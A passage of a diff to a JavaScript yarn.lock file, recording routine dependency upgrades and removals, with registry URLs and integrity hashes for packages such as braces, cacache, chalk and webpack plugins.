-  resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-  integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
-
-arr-flatten@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/arr-flatten/-/arr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1"
-  integrity sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==
-
-arr-union@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
-
 array-filter@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/array-filter/-/array-filter-1.0.0.tgz#baf79e62e6ef4c2a4c0b831232daffec251f9d83"
@@ -1293,16 +1379,16 @@ array-union@^1.0.1:
   dependencies:
     array-uniq "^1.0.1"
 
+array-union@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
+  integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
+
 array-uniq@^1.0.1:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
   integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
 
-array-unique@^0.3.2:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
-
 asn1.js@^5.2.0:
   version "5.4.1"
   resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
@@ -1325,7 +1411,7 @@ assert-plus@1.0.0, assert-plus@^1.0.0:
   resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
   integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
 
-assert@^1.1.1, assert@^1.4.0:
+assert@^1.4.0:
   version "1.5.0"
   resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
   integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==
@@ -1333,36 +1419,20 @@ assert@^1.1.1, assert@^1.4.0:
     object-assign "^4.1.1"
     util "0.10.3"
 
-assets-webpack-plugin@^3.9.7:
-  version "3.10.0"
-  resolved "https://registry.yarnpkg.com/assets-webpack-plugin/-/assets-webpack-plugin-3.10.0.tgz#d803404177c327e6a6fa3144acb618ab6b43066f"
-  integrity sha512-r72GzN3TvYyOcyNmhRx3qR3LNFsfNHgqTdSeYuxpGmciSpwBpXSVGoU3PXUMKRd8aodcpE6fZlsvyOgimwUxdA==
+assets-webpack-plugin@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/assets-webpack-plugin/-/assets-webpack-plugin-7.1.0.tgz#f8a8fe8ce4533201e1de20a2e43de8a955ff0701"
+  integrity sha512-qfwG0G+HFYPAZ1tc6y7KOx/kgZPD8IQxa54ddZMDVpWrutheXc9Pqjw6ukw4gtW1HvQUQVVUcfB4pdPRoVgLZA==
   dependencies:
-    camelcase "6.0.0"
-    escape-string-regexp "4.0.0"
-    lodash "4.17.15"
-    mkdirp "1.0.4"
-
-assign-symbols@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
-
-async-each@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
-  integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==
+    camelcase "^6.0.0"
+    escape-string-regexp "^4.0.0"
+    lodash "^4.17.20"
 
 async-foreach@^0.1.3:
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/async-foreach/-/async-foreach-0.1.3.tgz#36121f845c0578172de419a97dbeb1d16ec34542"
   integrity sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=
 
-async-limiter@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd"
-  integrity sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==
-
 async@^2.6.2:
   version "2.6.3"
   resolved "https://registry.yarnpkg.com/async/-/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff"
@@ -1448,19 +1518,6 @@ base64-js@^1.0.2:
   resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
   integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
 
-base@^0.11.1:
-  version "0.11.2"
-  resolved "https://registry.yarnpkg.com/base/-/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
-  integrity sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==
-  dependencies:
-    cache-base "^1.0.1"
-    class-utils "^0.3.5"
-    component-emitter "^1.2.1"
-    define-property "^1.0.0"
-    isobject "^3.0.1"
-    mixin-deep "^1.2.0"
-    pascalcase "^0.1.1"
-
 batch@0.6.1:
   version "0.6.1"
   resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
@@ -1478,23 +1535,11 @@ big.js@^5.2.2:
   resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
   integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
 
-binary-extensions@^1.0.0:
-  version "1.13.1"
-  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65"
-  integrity sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==
-
 binary-extensions@^2.0.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
   integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
 
-bindings@^1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/bindings/-/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
-  integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==
-  dependencies:
-    file-uri-to-path "1.0.0"
-
 block-stream@*:
   version "0.0.9"
   resolved "https://registry.yarnpkg.com/block-stream/-/block-stream-0.0.9.tgz#13ebfe778a03205cfe03751481ebb4b3300c126a"
@@ -1502,11 +1547,6 @@ block-stream@*:
   dependencies:
     inherits "~2.0.0"
 
-bluebird@^3.5.5:
-  version "3.7.2"
-  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
-  integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
-
 bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9:
   version "4.12.0"
   resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
@@ -1595,23 +1635,7 @@ brace-expansion@^1.1.7:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
 
-braces@^2.3.1, braces@^2.3.2:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/braces/-/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
-  integrity sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==
-  dependencies:
-    arr-flatten "^1.1.0"
-    array-unique "^0.3.2"
-    extend-shallow "^2.0.1"
-    fill-range "^4.0.0"
-    isobject "^3.0.1"
-    repeat-element "^1.1.2"
-    snapdragon "^0.8.1"
-    snapdragon-node "^2.0.1"
-    split-string "^3.0.2"
-    to-regex "^3.0.1"
-
-braces@~3.0.2:
+braces@^3.0.1, braces@~3.0.2:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
   integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
@@ -1696,7 +1720,7 @@ browserify-sign@^4.0.0:
     readable-stream "^3.6.0"
     safe-buffer "^5.2.0"
 
-browserify-zlib@^0.2.0, browserify-zlib@~0.2.0:
+browserify-zlib@~0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
   integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==
@@ -1757,14 +1781,14 @@ browserify@>=3.46.0:
     vm-browserify "^1.0.0"
     xtend "^4.0.0"
 
-browserslist@^4.0.0, browserslist@^4.14.5, browserslist@^4.16.3:
-  version "4.16.4"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.4.tgz#7ebf913487f40caf4637b892b268069951c35d58"
-  integrity sha512-d7rCxYV8I9kj41RH8UKYnvDYCRENUlHRgyXy/Rhr/1BaeLGfiCptEdFE8MIrvGfWbBFNjVYx76SQWvNX1j+/cQ==
+browserslist@^4.0.0, browserslist@^4.14.5, browserslist@^4.16.5:
+  version "4.16.5"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.5.tgz#952825440bca8913c62d0021334cbe928ef062ae"
+  integrity sha512-C2HAjrM1AI/djrpAUU/tr4pml1DqLIzJKSLDBXBrNErl9ZCCTXdhwxdJjYc16953+mBWf7Lw+uUJgpgb8cN71A==
   dependencies:
-    caniuse-lite "^1.0.30001208"
+    caniuse-lite "^1.0.30001214"
     colorette "^1.2.2"
-    electron-to-chromium "^1.3.712"
+    electron-to-chromium "^1.3.719"
     escalade "^3.1.1"
     node-releases "^1.1.71"
 
@@ -1783,15 +1807,6 @@ buffer-xor@^1.0.3:
   resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
   integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
 
-buffer@^4.3.0:
-  version "4.9.2"
-  resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
-  integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==
-  dependencies:
-    base64-js "^1.0.2"
-    ieee754 "^1.1.4"
-    isarray "^1.0.0"
-
 buffer@~5.2.1:
   version "5.2.1"
   resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.2.1.tgz#dd57fa0f109ac59c602479044dca7b8b3d0b71d6"
@@ -1815,41 +1830,28 @@ bytes@3.1.0:
   resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
   integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
 
-cacache@^12.0.2:
-  version "12.0.4"
-  resolved "https://registry.yarnpkg.com/cacache/-/cacache-12.0.4.tgz#668bcbd105aeb5f1d92fe25570ec9525c8faa40c"
-  integrity sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==
+cacache@^15.0.5:
+  version "15.0.6"
+  resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.0.6.tgz#65a8c580fda15b59150fb76bf3f3a8e45d583099"
+  integrity sha512-g1WYDMct/jzW+JdWEyjaX2zoBkZ6ZT9VpOyp2I/VMtDsNLffNat3kqPFfi1eDRSK9/SuKGyORDHcQMcPF8sQ/w==
   dependencies:
-    bluebird "^3.5.5"
-    chownr "^1.1.1"
-    figgy-pudding "^3.5.1"
+    "@npmcli/move-file" "^1.0.1"
+    chownr "^2.0.0"
+    fs-minipass "^2.0.0"
     glob "^7.1.4"
-    graceful-fs "^4.1.15"
-    infer-owner "^1.0.3"
-    lru-cache "^5.1.1"
-    mississippi "^3.0.0"
-    mkdirp "^0.5.1"
-    move-concurrently "^1.0.1"
+    infer-owner "^1.0.4"
+    lru-cache "^6.0.0"
+    minipass "^3.1.1"
+    minipass-collect "^1.0.2"
+    minipass-flush "^1.0.5"
+    minipass-pipeline "^1.2.2"
+    mkdirp "^1.0.3"
+    p-map "^4.0.0"
     promise-inflight "^1.0.1"
-    rimraf "^2.6.3"
-    ssri "^6.0.1"
+    rimraf "^3.0.2"
+    ssri "^8.0.1"
+    tar "^6.0.2"
     unique-filename "^1.1.1"
-    y18n "^4.0.0"
-
-cache-base@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
-  integrity sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==
-  dependencies:
-    collection-visit "^1.0.0"
-    component-emitter "^1.2.1"
-    get-value "^2.0.6"
-    has-value "^1.0.0"
-    isobject "^3.0.1"
-    set-value "^2.0.0"
-    to-object-path "^0.3.0"
-    union-value "^1.0.0"
-    unset-value "^1.0.0"
 
 cached-path-relative@^1.0.0, cached-path-relative@^1.0.2:
   version "1.0.2"
@@ -1891,21 +1893,21 @@ camelcase-keys@^2.0.0:
     camelcase "^2.0.0"
     map-obj "^1.0.0"
 
-camelcase@5.3.1, camelcase@^5.0.0, camelcase@^5.2.0:
+camelcase@5.3.1, camelcase@^5.0.0:
   version "5.3.1"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
   integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
 
-camelcase@6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.0.0.tgz#5259f7c30e35e278f1bdc2a4d91230b37cad981e"
-  integrity sha512-8KMDF1Vz2gzOq54ONPJS65IvTUaB1cHJ2DMM7MbPmLZljDH1qpzzLsWdiN9pHh6qvkRVDTi/07+eNGch/oLU4w==
-
 camelcase@^2.0.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-2.1.1.tgz#7c1d16d679a1bbe59ca02cacecfb011e201f5a1f"
   integrity sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=
 
+camelcase@^6.0.0, camelcase@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.2.0.tgz#924af881c9d525ac9d87f40d964e5cea982a1809"
+  integrity sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==
+
 caniuse-api@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
@@ -1916,10 +1918,10 @@ caniuse-api@^3.0.0:
     lodash.memoize "^4.1.2"
     lodash.uniq "^4.5.0"
 
-caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001208:
-  version "1.0.30001211"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001211.tgz#be40d528bb10272eba0037a88adc40054810f8e2"
-  integrity sha512-v3GXWKofIkN3PkSidLI5d1oqeKNsam9nQkqieoMhP87nxOY0RPDC8X2+jcv8pjV4dRozPLSoMqNii9sDViOlIg==
+caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001214:
+  version "1.0.30001219"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001219.tgz#5bfa5d0519f41f993618bd318f606a4c4c16156b"
+  integrity sha512-c0yixVG4v9KBc/tQ2rlbB3A/bgBFRvl8h8M4IeUbqCca4gsiCfvtaheUssbnux/Mb66Vjz7x8yYjDgYcNQOhyQ==
 
 caseless@~0.12.0:
   version "0.12.0"
@@ -1946,6 +1948,14 @@ chalk@^2.0.0, chalk@^2.4.1, chalk@^2.4.2:
     escape-string-regexp "^1.0.5"
     supports-color "^5.3.0"
 
+chalk@^4.0.0:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad"
+  integrity sha512-diHzdDKxcU+bAsUboHLPEDQiw0qEe0qd7SYUn3HgcFlWgbDcfLGswOHYeGrHKzG9z6UYf01d9VFMfZxPM1xZSg==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
 charm@~0.1.0:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/charm/-/charm-0.1.2.tgz#06c21eed1a1b06aeb67553cdc53e23274bac2296"
@@ -1956,7 +1966,7 @@ chart.js@^1:
   resolved "https://registry.yarnpkg.com/chart.js/-/chart.js-1.1.1.tgz#a9b17054220bd45cbdb176fd6bcb8783ef871a7d"
   integrity sha1-qbFwVCIL1Fy9sXb9a8uHg++HGn0=
 
-chart.js@~2.9.3:
+chart.js@~2.9:
   version "2.9.4"
   resolved "https://registry.yarnpkg.com/chart.js/-/chart.js-2.9.4.tgz#0827f9563faffb2dc5c06562f8eb10337d5b9684"
   integrity sha512-B07aAzxcrikjAPyV+01j7BmOpxtQETxTSlQ26BEYJ+3iUkbNKaOJ/nDbT6JjyqYxseM0ON12COHYdU2cTIjC7A==
@@ -1979,26 +1989,7 @@ chartjs-color@^2.1.0:
     chartjs-color-string "^0.6.0"
     color-convert "^1.9.3"
 
-chokidar@^2.1.8:
-  version "2.1.8"
-  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917"
-  integrity sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==
-  dependencies:
-    anymatch "^2.0.0"
-    async-each "^1.0.1"
-    braces "^2.3.2"
-    glob-parent "^3.1.0"
-    inherits "^2.0.3"
-    is-binary-path "^1.0.0"
-    is-glob "^4.0.0"
-    normalize-path "^3.0.0"
-    path-is-absolute "^1.0.0"
-    readdirp "^2.2.1"
-    upath "^1.1.1"
-  optionalDependencies:
-    fsevents "^1.2.7"
-
-chokidar@^3.4.1:
+chokidar@^3.5.1:
   version "3.5.1"
   resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
   integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==
@@ -2013,10 +2004,10 @@ chokidar@^3.4.1:
   optionalDependencies:
     fsevents "~2.3.1"
 
-chownr@^1.1.1:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
-  integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
+chownr@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/chownr/-/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece"
+  integrity sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==
 
 chrome-trace-event@^1.0.2:
   version "1.0.3"
@@ -2036,27 +2027,23 @@ ckeditor@^4.11.2:
   resolved "https://registry.yarnpkg.com/ckeditor/-/ckeditor-4.12.1.tgz#954a7b028dd611e44ba51cc7c2fe051cf1052186"
   integrity sha512-pH2Su4oi0D4iN/3U8nUcwI7/lXHoOJi0aiN8e2zxnm4Ow5kq8eZP2ZGmpYyuqRyKZ2tHaU8+OyYi7laXcjiq9Q==
 
-class-utils@^0.3.5:
-  version "0.3.6"
-  resolved "https://registry.yarnpkg.com/class-utils/-/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
-  integrity sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==
-  dependencies:
-    arr-union "^3.1.0"
-    define-property "^0.2.5"
-    isobject "^3.0.0"
-    static-extend "^0.1.1"
-
 classie@>=0.0.1:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/classie/-/classie-1.0.0.tgz#fc9b29b47e64e374a2062fb624d05a61cd703ab2"
   integrity sha1-/JsptH5k43SiBi+2JNBaYc1wOrI=
 
-clean-webpack-plugin@^0.1.19:
-  version "0.1.19"
-  resolved "https://registry.yarnpkg.com/clean-webpack-plugin/-/clean-webpack-plugin-0.1.19.tgz#ceda8bb96b00fe168e9b080272960d20fdcadd6d"
-  integrity sha512-M1Li5yLHECcN2MahoreuODul5LkjohJGFxLPTjl3j1ttKrF5rgjZET1SJduuqxLAuT1gAPOdkhg03qcaaU1KeA==
+clean-stack@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
+  integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==
+
+clean-webpack-plugin@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/clean-webpack-plugin/-/clean-webpack-plugin-3.0.0.tgz#a99d8ec34c1c628a4541567aa7b457446460c62b"
+  integrity sha512-MciirUH5r+cYLGCOL5JX/ZLzOZbVr1ot3Fw+KcvbhUb6PM+yycqd9ZhIlcigQ5gl+XhppNmw3bEFuaaMNyLj3A==
   dependencies:
-    rimraf "^2.6.1"
+    "@types/webpack" "^4.4.31"
+    del "^4.1.1"
 
 cliui@^5.0.0:
   version "5.0.0"
@@ -2090,14 +2077,6 @@ code-point-at@^1.0.0:
   resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
   integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
 
-collection-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
-  dependencies:
-    map-visit "^1.0.0"
-    object-visit "^1.0.0"
-
 color-convert@^1.9.0, color-convert@^1.9.1, color-convert@^1.9.3:
   version "1.9.3"
   resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
@@ -2105,12 +2084,19 @@ color-convert@^1.9.0, color-convert@^1.9.1, color-convert@^1.9.3:
   dependencies:
     color-name "1.1.3"
 
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
 color-name@1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
   integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
 
-color-name@^1.0.0:
+color-name@^1.0.0, color-name@~1.1.4:
   version "1.1.4"
   resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
   integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
@@ -2131,7 +2117,7 @@ color@^3.0.0:
     color-convert "^1.9.1"
     color-string "^1.5.4"
 
-colorette@^1.2.2:
+colorette@^1.2.1, colorette@^1.2.2:
   version "1.2.2"
   resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
   integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==
@@ -2158,16 +2144,16 @@ commander@^2.20.0:
   resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
   integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
 
+commander@^7.0.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-7.2.0.tgz#a36cb57d0b501ce108e4d20559a150a391d97ab7"
+  integrity sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==
+
 commondir@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
   integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
 
-component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
-
 compose-function@3.0.3:
   version "3.0.3"
   resolved "https://registry.yarnpkg.com/compose-function/-/compose-function-3.0.3.tgz#9ed675f13cc54501d30950a486ff6a7ba3ab185f"
@@ -2200,7 +2186,7 @@ concat-map@0.0.1:
   resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
   integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
 
-concat-stream@^1.5.0, concat-stream@^1.6.0, concat-stream@^1.6.1, concat-stream@~1.6.0:
+concat-stream@^1.6.0, concat-stream@^1.6.1, concat-stream@~1.6.0:
   version "1.6.2"
